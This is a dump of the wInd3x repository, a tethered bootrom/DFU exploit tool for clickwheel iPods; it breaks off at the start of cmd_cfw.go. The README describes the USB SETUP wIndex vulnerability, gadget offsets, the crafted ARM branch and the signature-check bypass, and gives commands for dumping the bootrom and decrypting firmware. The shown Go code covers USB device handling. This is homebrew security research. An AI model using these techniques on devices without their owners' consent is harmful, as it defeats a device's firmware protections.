[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: ''\nassignees: q3k\n\n---\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**Tell us which iPod model you're targeting**\nEg. iPod Nano 3G, 5G, etc.\n\n**Tell us where you're running wInd3x**\nWe need to know:\n1. What hardware are you running on?\n2. What OS are you using? Provide details, eg. Linux distribution and kernel version or otherwise the OS version.\n"
  },
  {
    "path": ".gitignore",
    "content": "/.idea/\n/wInd3x\nresult\n**swp\n**swo\n"
  },
  {
    "path": "COPYING",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  <signature of Ty Coon>, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n"
  },
  {
    "path": "README.md",
    "content": "<img src=\"logotype.png\">\n\nwInd3x\n======\n\nTethered clickwheel iPod bootrom/DFU exploit tool.\n\nImplements 'wInd3x' exploit (described below) and [s5late](https://github.com/m-gsch/S5Late/) exploit by gsch.\n\n| Device       | Haxed DFU     | Decrypt/Dump | CFW          | Exploit           | Notes        |\n|--------------|---------------|--------------|--------------|-------------------|--------------|\n| Nano 3G      | **YES**       | **YES**      | soon         | wInd3x            |              |\n| Nano 4G      | **YES**       | **YES**      | soon         | wInd3x            |              |\n| Nano 5G      | **YES**       | **YES**      | **YES**      | wInd3x            |              |\n| Nano 6G      | soon          | soon         | soon         |                   |              |\n| Nano 7G      | **YES**       | **YES**      | **YES**      | s5late -> wInd3x  |              |\n| Classic “6G” | **YES**       | **YES**      | soon         | wInd3x            | Experimental |\n| iPod Touch   | never         | never        | never        |                   |              |\n\nHost OS support\n--------\n\n**Nano 4G and Nano 5G exploitation (haxdfu/cfw run/dump/decrypt/etc) works only on Linux due to the way the vulnerability is exploited on these platforms. Running it on Linux in a VM will not work.**\n\nEvery other device and functionality should work on any operating system that wInd3x can be built on, but still only Linux is regularly tested and supported.\n\nAs a workaround, please consider running wInd3x from a Raspberry Pi.\n\n**NOTE**: This might change as wIndex gets ported to use S5Late on all generations.\n\nBuilding\n--------\n\nYou'll need go and libusb. Then:\n\n    $ go build ./cmd/wInd3x\n\nOr, if you have Nix(OS), just do:\n\n    $ nix-build\n\nWe're working on making this easier to build and providing pre-built binaries.\n\nRunning\n-------\n\nPut your iPod into DFU mode by connecting it over USB, holding down menu+select until it reboots, blanks the screen, then shows the Apple logo, then blanks the screen again. The iPod should enumerate as 'USB DFU Device'.\n\nThen, run `wInd3x haxdfu` to put the iPod into 'haxed DFU' mode. This is a modified DFU mode that allows booting any DFU image, including unsigned and unencrypted ones. The mode is temporary, and will be active only until next (re)boot, the exploit does not modify the device permanently in any way.\n\n    $ ./wInd3x haxdfu\n    [...]\n    2021/12/31 00:59:15 Haxed DFU running!\n\nYou can then use any DFU tool to upload any DFU image and the device should boot it. You can also use the `run` subcommand to wInd3x to make it immediately send a file as a DFU image after starting haxed DFU mode (if needed):\n\n    $ ./wInd3x run wtf-test.dfu\n    [...]\n    2022/01/06 00:06:56 Uploading wtf-test.dfu...\n    2022/01/06 00:06:56 Image sent.\n\nRunning U-Boot and Linux\n------------------------\n\nSee [freemyipod.org/Linux](https://freemyipod.org/Linux) for instructions.\n\nRunning Rockbox\n---------------\n\nNo Rockbox port is available for the supported platform(s) ... yet.\n\nHaxed DFU Mode\n--------------\n\nWhen in haxed DFU mode, the DFU will continue as previously, and you will still be able to send properly signed and encrypted images (like WTF). However, signature checking (in header and footer) is disabled. What this means:\n\n - Images with format '3' (like WTF) will not be sigchecked, but will be decrypted.\n - Images with format '4' will not be sigchecked and will not be decrypted.\n - Pwnage 2.0 images *might* work if they are built to be able to run without having to exploit footer signature checking.\n\n**Nano3G/Classic Note:** haxed DFU currently always boots images as unencrypted. We will change things around soon on all generations and use format '0' for unencrypted instead, and check explicitly for that type.\n\nTo make your own DFU images, you should thus make format '4' images, not encrypt them and not sign them.\n\nBuilding DFU Images\n-------------------\n\nIf you have a flat binary file which expects to run from DFU mode and be loaded at address 0x22000000, you can use the `makedfu` command to wrap it in a Haxed DFU compatible DFU image.\n\n    $ ./wInd3x makedfu flat.bin image.dfu -k n5g\n\nIf the entrypoint is not at the beginning of the file, an offset can be provided with `-e 0xf00`.\n\nDumping Memory\n--------------\n\nwInd3x also supports memory reads from a running bootrom. For example, to dump the bootrom's code to a file:\n\n    $ ./wInd3x dump 0x20000000 0x10000 /tmp/bootrom.bin\n    [...]\n    2022/01/06 03:10:08 Dumping 20000000...\n    2022/01/06 03:12:41 Dumping 2000ffc0...\n    2022/01/06 03:12:41 Done!\n\nThis will take a few minutes. Ignore any 'libusb: interrupted' errors, these are just spurous debug logs from gousb.\n\nDecrypting Images\n-----------------\n\nwInd3x can decrypt IMG1 files (eg. a WTF) using a locally-connected device. These decrypted and unsigned images can then be loaded  via Haxed DFU.\n\n    $ ./wInd3x decrypt WTF.x1225.release.dfu wtf-dec.dfu\n    2022/01/06 04:20:08 Parsed Nano 4G image.\n    2022/01/06 04:20:08 Decrypting 1e800 bytes...\n    2022/01/06 04:20:08 Decrypting first block...\n    2022/01/06 04:20:08 Decrypting 0x40...\n    [...]\n\n\nThis will take a few minutes. Ignore any 'libusb: interrupted' errors, these are just spurous debug logs from gousb.\n\nIf you decrypted a valid WTF image, you should be able to then run it:\n\n    $ ./wInd3x run wtf-dec.dfu\n\nCFW\n---\n\nwInd3x has support for 'CFW' (custom firmware), which is the ability to run modified RetailOS binaries or custom payloads like U-Boot from BootROM DFU mode.\n\nUsually, the device boot flow is as follows:\n\n    BootROM -> Bootloader (NAND) -> RetailOS (NAND)\n\nIn recovery mode, the device boot flow is as follows:\n\n    BootROM -> WTF (DFU) -> Disk Mode (DFU)\n\nIn our CFW mode, the device boot flow is as follows:\n\n    BootROM -> WTF, defanged (DFU) -> Modified RetailOS/U-Boot/... (DFU)\n\nwInd3x packages an all-in-one workflow for running the target payload under the `wInd3x cfw run` command. For example, you could run a modified RetailOS as follows after connecting an N7G in DFU mode:\n\n    $ ./wInd3x download retailos n7g-retailos.bin\n    $ ./wInd3x decrypt n7g-retailos.bin n7g-retailos.bin.dec\n    $ # hack on n7g-retailos.bin.dec....\n    $ ./wInd3x cfw run n7g-retailos.bin.dec\n\nKnown issues\n============\n\n1. Decryption/dumping is slow, as every 0x30/0x40 we run the exploit again. We should find a better way to get code execution for this kind of tasks.\n\nwInd3x Vulnerability\n====================\n\nThis exploits a vulnerability in the standard SETUP packet parsing code of the bootrom, in which the wIndex parameter is not checked for bmRequest == {0x20, 0x40}, but is still used to index an array of interface/class handlers (that in the Bootrom has a length of 1).\n\nNano 4G and 5G Exploit Chain\n--------------------\n\nThe first requirement is to find a suitable (blx r0) instruction in the bootrom code of the device. For Nano 4G the only one such instruction is at offset 0x3b0, and for Nano 5G there is such instruction at 0x37c. We'll refer to it as X below.\n\nWe abuse the fact that wIndex == 3 for bmRequest 0x40 treats a 'bytes left to sent over USB' counter as a function pointer and calls it with r0 == address of SETUP. We massage the DFU mode into attempting to send us X+0x40 bytes, and failing after 0x40 bytes, thereby leaving the counter at X bytes and executing code at address X.\n\nSince the bootrom is mapped at offset 0x0 as well as 0x20000000 at boot, this means we execute bootrom code, and X happens to point to a 'blx r0' instruction. This in turn causes the CPU to interpret the SETUP packet received as ARM code, because the SETUP handler is called with the SETUP packet as its argument, i.e. r0.\n\nWe specially craft the SETUP packet to be a valid ARM branch instruction, pointing somewhere into a temporary DFU image buffer. By first sending a payload as a partial DFU image (aborting before causing a MANIFEST), we finally get up to be able to execute either 0x800 on Nano 4G or 0x400 on Nano 5G bytes of fully user controlled code.\n\nIn that payload, we send a stub which performs some runtime changes to the DFU's data structures to a) return a different product string b) overwrite an image verification vtable entry with a function that allows unsigned images. Some SRAM is carved out by this payload to store the modified vtable and custom verification function.\n\nNano 3G and Classic (”6G”)\n--------------------------\n\nWith bRequestType == 0x20 and wIndex == 6 we directly jump to code execution at the SETUP packet.\n\nThis Bootroom does not have a VTable which can be easily hooked to override functions to provide Haxed DFU functionality. However, an 'OnImage' function pointer is present in the State structure, which we override with our own code (copied to carved out SRAM). This code reimplements the bare minimum of the hooked function, without calling any decryption/verification code on the header/body.\n\nNano 6G and 7G\n--------------\n\nThe vulnerability does not appear to exist on these devices. Either it was fixed or the USB stack has replaced with a different codebase.\n\niPhone, iPod Touch\n------------------\n\nThis vulnerability does not exist on non-clickwheel-iPods, as those use a different bootrom (SecureROM/iBoot) that has a different USB stack.\n\nSupport\n=======\n\nIRC: #freemyipod on libera.chat\n\nLicense\n=======\n\nCopyright (C) 2022 Serge 'q3k' Bazanski (q3k@q3k.org)\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along\nwith this program; if not, write to the Free Software Foundation, Inc.,\n51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n"
  },
  {
    "path": "cmd/wInd3x/app.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n\t\"github.com/google/gousb\"\n\t\"github.com/hashicorp/go-multierror\"\n)\n\ntype desktopApp struct {\n\tctx *gousb.Context\n\tapp.App\n}\n\ntype desktopUsb struct {\n\tusb  *gousb.Device\n\tdone func()\n}\n\nfunc (d *desktopUsb) UseDefaultInterface() error {\n\t_, done, err := d.usb.DefaultInterface()\n\tif err != nil {\n\t\treturn err\n\t}\n\td.done = done\n\treturn nil\n}\n\nfunc (d *desktopUsb) UseDiskInterface() (devices.UsbMsEndpoints, error) {\n\tout := devices.UsbMsEndpoints{}\n\n\tif err := d.usb.SetAutoDetach(true); err != nil {\n\t\treturn out, err\n\t}\n\tcfgNum, err := d.usb.ActiveConfigNum()\n\tif err != nil {\n\t\treturn out, err\n\t}\n\tcfg, err := d.usb.Config(cfgNum)\n\tif err != nil {\n\t\treturn out, err\n\t}\n\ti, err := cfg.Interface(0, 0)\n\tif err != nil {\n\t\treturn out, err\n\t}\n\teps := d.usb.Desc.Configs[cfg.Desc.Number].Interfaces[0].AltSettings[0].Endpoints\n\tfor _, ep := range eps {\n\t\tvar err error\n\t\tswitch ep.Direction {\n\t\tcase gousb.EndpointDirectionIn:\n\t\t\tout.In, err = i.InEndpoint(ep.Number)\n\t\tcase gousb.EndpointDirectionOut:\n\t\t\tout.Out, err = i.OutEndpoint(ep.Number)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn out, err\n\t\t}\n\t}\n\n\tif out.In == nil || out.Out == nil {\n\t\treturn out, fmt.Errorf(\"did not find both IN and OUT endpoint on mass storage interface\")\n\t}\n\n\treturn out, nil\n}\n\nfunc (d *desktopUsb) Control(rType, request uint8, val, idx uint16, data []byte) (int, error) {\n\tv, err := d.usb.Control(rType, request, val, idx, data)\n\tif err == gousb.ErrorTimeout {\n\t\terr = devices.UsbTimeoutError\n\t}\n\treturn v, err\n}\n\nfunc (d *desktopUsb) SetControlTimeout(dur time.Duration) error {\n\td.usb.ControlTimeout = dur\n\treturn nil\n}\n\nfunc (d *desktopUsb) GetStringDescriptor(descIndex int) (string, error) {\n\treturn d.usb.GetStringDescriptor(descIndex)\n}\n\nfunc (d *desktopUsb) Close() error {\n\tif d.done != nil {\n\t\td.done()\n\t\td.done = nil\n\t}\n\treturn d.usb.Close()\n}\n\nfunc (d *desktopApp) Close() error {\n\tif err := d.Usb.Close(); err != nil {\n\t\treturn fmt.Errorf(\"when closing USB device: %w\", err)\n\t}\n\tif err := d.ctx.Close(); err != nil {\n\t\treturn fmt.Errorf(\"when closing context: %w\", err)\n\t}\n\treturn nil\n}\n\nfunc newDFU() (*desktopApp, error) {\n\tctx, err := newContext()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize USB: %w\", err)\n\t}\n\n\tvar errs error\n\tfor _, deviceDesc := range devices.Descriptions {\n\t\tpid, ok := deviceDesc.PIDs[devices.DFU]\n\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tusb, err := ctx.OpenDeviceWithVIDPID(gousb.ID(deviceDesc.VID), gousb.ID(pid))\n\t\tif err != nil {\n\t\t\terrs = multierror.Append(errs, err)\n\t\t}\n\n\t\tif usb == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tapp := &desktopApp{\n\t\t\tctx,\n\t\t\tapp.App{\n\t\t\t\tUsb:           &desktopUsb{usb: usb},\n\t\t\t\tInterfaceKind: devices.DFU,\n\t\t\t\tDesc:          &deviceDesc,\n\t\t\t\tEp:            exploit.ParametersForKind[deviceDesc.Kind],\n\t\t\t},\n\t\t}\n\t\treturn app, app.PrepareUSB()\n\t}\n\tif errs == nil {\n\t\treturn nil, fmt.Errorf(\"no device found\")\n\t}\n\treturn nil, errs\n}\n\nfunc newAny() (*desktopApp, error) {\n\tctx, err := newContext()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize USB: %w\", err)\n\t}\n\n\tvar errs error\n\tfor _, deviceDesc := range devices.Descriptions {\n\t\tfor _, ik := range []devices.InterfaceKind{devices.DFU, devices.WTF, devices.Disk} {\n\t\t\tpid, ok := deviceDesc.PIDs[ik]\n\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tusb, err := ctx.OpenDeviceWithVIDPID(gousb.ID(deviceDesc.VID), gousb.ID(pid))\n\t\t\tif err != nil {\n\t\t\t\terrs = multierror.Append(errs, err)\n\t\t\t}\n\n\t\t\tif usb == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tapp := &desktopApp{\n\t\t\t\tctx,\n\t\t\t\tapp.App{\n\t\t\t\t\tUsb:           &desktopUsb{usb: usb},\n\t\t\t\t\tInterfaceKind: ik,\n\t\t\t\t\tDesc:          &deviceDesc,\n\t\t\t\t\tEp:            exploit.ParametersForKind[deviceDesc.Kind],\n\t\t\t\t},\n\t\t\t}\n\t\t\treturn app, app.PrepareUSB()\n\t\t}\n\t}\n\tif errs == nil {\n\t\treturn nil, fmt.Errorf(\"no device found\")\n\t}\n\treturn nil, errs\n}\n\nfunc (a *desktopApp) waitSwitch(ctx context.Context, ik devices.InterfaceKind) error {\n\tfor {\n\t\tpid, ok := a.Desc.PIDs[ik]\n\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"device does not support interface kind %v\", ik)\n\t\t}\n\n\t\tusb, err := a.ctx.OpenDeviceWithVIDPID(gousb.ID(a.Desc.VID), gousb.ID(pid))\n\n\t\tif a.Desc.Kind == devices.Nano7 && ik == devices.WTF && usb == nil && err == nil {\n\t\t\t// special case for Nano7Late as the DFU ids are the same as Nano7\n\t\t\t// but the WTF ids are not\n\t\t\tdesc := devices.Nano7Late.Description()\n\n\t\t\tpid, ok = desc.PIDs[ik]\n\n\t\t\tif !ok {\n\t\t\t\treturn fmt.Errorf(\"device does not support interface kind %v\", ik)\n\t\t\t}\n\n\t\t\tusb, err = a.ctx.OpenDeviceWithVIDPID(gousb.ID(desc.VID), gousb.ID(pid))\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif usb != nil {\n\t\t\ta.Usb.Close()\n\t\t\ta.InterfaceKind = ik\n\t\t\ta.Usb = &desktopUsb{usb: usb}\n\t\t\treturn a.PrepareUSB()\n\t\t}\n\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn ctx.Err()\n\t\tcase <-time.After(time.Second):\n\t\t}\n\t}\n}\n\nfunc newContext() (*gousb.Context, error) {\n\tresC := make(chan *gousb.Context)\n\terrC := make(chan error)\n\n\tgo func() {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\terrC <- fmt.Errorf(\"%v\", r)\n\t\t\t}\n\t\t}()\n\n\t\tresC <- gousb.NewContext()\n\t}()\n\n\tselect {\n\tcase err := <-errC:\n\t\treturn nil, err\n\tcase res := <-resC:\n\t\treturn res, nil\n\t}\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_cfw.go",
